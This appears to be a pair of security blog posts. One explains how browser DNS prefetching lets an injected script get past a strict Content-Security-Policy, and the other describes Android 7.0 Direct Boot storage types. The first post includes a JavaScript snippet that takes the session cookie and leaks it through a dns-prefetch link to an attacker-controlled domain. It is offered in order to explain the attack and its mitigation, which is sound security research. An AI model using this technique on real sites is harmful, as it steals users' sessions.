Bypassing Content-Security-Policy with DNS prefetching


The Content Security Policy (CSP) is one of the main web-based security mechanisms which helps websites’ owners to reduce their risks caused by Cross-Site-Scripting (XSS) or code injection attacks [1]. The CSP is nothing more than a policy that defines from where and to where a something can be loaded and fetched. This is preventing cross-domain loading by malicious code from external sites. However, the CSP concept is not protecting against data exfiltration techniques.

Different researches pointed out different methods to exfiltrate information and circumvent the CSP [2]. This blog post will focus on the data exfiltration method using the Browser DNS Prefetching mechanism illustrated at [3]. Further information about the CSP can be found on our previous blog post or by visiting the CSP website [4].

Browser DNS Prefetching

On the Web, every millisecond matters, browsers are the windows of the Internet and have to be as fast as possible to allow users to get the best surfing experience. One method implemented by browsers to be more efficient is DNS Prefetching. The idea behind is to pre-resolve hostnames into IP addresses and cache them for a later usage. The browser pre-resolves hostnames discovered in the content of the received page (like hostname in a tags), saving hundreds of milliseconds to seconds of the user’s time.


Source []

To manage the automated DNS prefetching feature of the browser, the X-DNS-Prefetch-Control HTTP Header is used [5][6].

x-dns-prefetch-control: off

This header has two possible values, either “on” or “off”. By default, if the header is not set, the automated DNS prefetching is enabled for the pages acquired over HTTP and disabled for those available over HTTPS. In addition, a developer can tell the browser which hostname should be pre-resolved, this can be done using the <link> tag. For example, this tag <link rel=”dns-prefetch” href=””> will cause the browser to perform a DNS prefetch of the domain.


This technique is undoubtedly good to considerably decrease the webpage loading time. However, this feature allows an attacker to bypass the CSP policies and exfiltrate information like sessions’ cookies or credentials.

Now I will introduce how a possible attack scenario works:

Imagine the attacker has discovered a web application vulnerable to XSS where he can inject some JavaScript code (non-inline). However, the CSP is preventing the information leakage and the attacker cannot send any data to his external server. The policy, which is very strict, is set as follows:

Content-Security-Policy: default-src 'none'; script-src 'self'

This defined CSP policy allows only script resource loaded from the website itself.

Now, taking advantage of the automated DNS prefetching, the attacker can include the information he wants to leak inside valid DNS names owned by him. For example, the session cookie with value “abcd1234” will be transformed into the domain name “”, which can now be injected in the page DOM using the following link tag:

<link rel="dns-prefetch" href="//">

The following JavaScript code will inject the above tag programmatically:

var sessionid = document.cookie.split('=')[1]+"."; 
var body = document.getElementsByTagName('body')[0]; 
// injecting the link tag in the HTML body force the browser 
// to prefetch the given domain 
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\"
  href=\"//" + sessionid + "\">";

After executing the injected JavaScript, the browser starts the pre-fetching procedure and the resolution of the domain name “” will take place. Now the attacker only needs to log the DNS requests on his DNS server to be able to read back the leaked information.


Conclusion and Mitigation

This attack shows the limitation of the current CSP definition, which does not take in account the DNS pre-fetching mechanism and data exfiltration vulnerability. Talking to the fellows inventing CSP we have learned, that data exfiltration was never the main goal of the project, instead it was designed to protect against XSS.

Currently, there are no concrete countermeasures against this kind of attack which uses DNS prefetch as vector. Firefox is the only browser which allows to disable the prefetching mechanism using the X-DNS-Prefetch-Control header. Compass Security still encourages the use of CSP and as always best practices like input validation and output encoding should be used to avoid the problem at the root.

Sources & References


Android 7.0 Security Features: Direct Boot

Android 7.0 (Nougat) brings a lot of new interesting security features such as:

  • Direct Boot
  • Key Attestation
  • Network Security Configuration
  • Scoped Directory Access
  • Media Server Hardening

All of these topics are very interesting from a security perspective. However, in this blog post we will solely focus on Direct Boot.


There are apps, which should be available directly after booting the device. A good example is already provided in the Android examples – the alarm app [1][2].

DirectBoot Alarm App

Imagine you prepare an alarm to wake up earlier next morning (e.g. to not miss Swiss Cyber Storm). Unfortunately, the device crashes in the night and you would be late on the event, because after restarting the device it remains locked, requiring the passcode for the full-disk encryption.

This is, where Direct Boot comes into play. Direct Boot allows encrypted devices to boot straight to the lock screen (Keyguard is also Direct Boot aware). Therefore, the alarm will still be triggered after the reboot in Android Nougat.

DirectBoot Triggered Alarm

Quick Intro: Trusted Execution Environment (TEE)

Since the Android Compatibility Definition Document (CDD)[3] for Nougat is not officially released yet, we can only speculate whether the document will change the STRONGLY RECOMMENDED to REQUIRED requirement for TEE. As it is likely to happen though, let us assume TEE is required.

The Trusted Execution Environment (TEE) is ARM’s TrustZone for popular mobile devices. TEE establishes a trusted environment, which is separated from the untrusted Android environment and its OS. This concept is very similar to the iOS security enclave, where the regular OS and components cannot access the protected memory directly. The same principle applies for the TrustZone / TEE. Note that there are are a few differences in its implementation, e.g. Android does not require a fully isolated core.

REE & TEE Schemes

[4] TEE architecture

TEE can be used to store various secure applications similar to smart cards (JavaCard applications). In the context of Android such a secure application is the KeyMaster, where keys are stored securely and crypto-operations take place. Therefore, the untrusted zone can not access the private keys.

Secure Vs. Non Secure World

[5] KeyMaster in TEE

Full-Disk Encryption

Full-disk encryption is used to protect the internal and external memory (SD-card). An appreciated property is that the used key material for full-disk encryption is bound to the hardware. As you already expected, TEE is used to bind the scheme to the hardware. Additionally, the user has to provide a passphrase, which is also added to the full-disk encryption scheme in order to prevent attacks from a locked mobile device.

FDE Prior Android Nougat

[6] Full-disk encryption scheme prior to Nougat

Direct Boot Storage Types

In Android Nougat the encryption scheme is not used for the whole volume anymore but is now file-based, which gives performance benefits and is based on ext4 encryption involving TEE [7]. Android distinguishes between two storage types:

  1. Credential encrypted storage (CE)
  2. Device encrypted storage (DE).

The first storage type was present in all prior Android releases. Device encrypted storage is the newly introduced storage type. There, the storage is solely protected using the hardware-bound key from TEE. All device encrypted storage data is added to /data/user_de/ and isolated from the user related credential encrypted storage in /data/user/. Since the decryption key cannot be derived without the user provided passcode an app in the DE-context cannot access data from the CE-context. There are further filesystem isolations in /data/misc and /data/system:



Direct Boot Pitfalls

There are various security pitfalls with respect to Direct Boot, which could lead to access of sensitive files by malicious apps in a multi-user context (shared device):

  1. Insecure file permissions
  2. Insecure data storage

Both aspects appear as M1 – Improper Platform Usage and M2 – Insecure Data Storage in the OWASP Mobile Top Ten 2016 [8]. Since they are ranked as the two most frequently occurring security issues, we will probably see these application specific vulnerabilities in the context of Direct Boot in the near future.

App developers need to carefully plan where to store data. Confidential and user-specific data should never be stored in the DE storage. Migration of data from CE to DE storage has to be thoroughly analyzed and file permissions set as restrictive as possible.

Sources and References: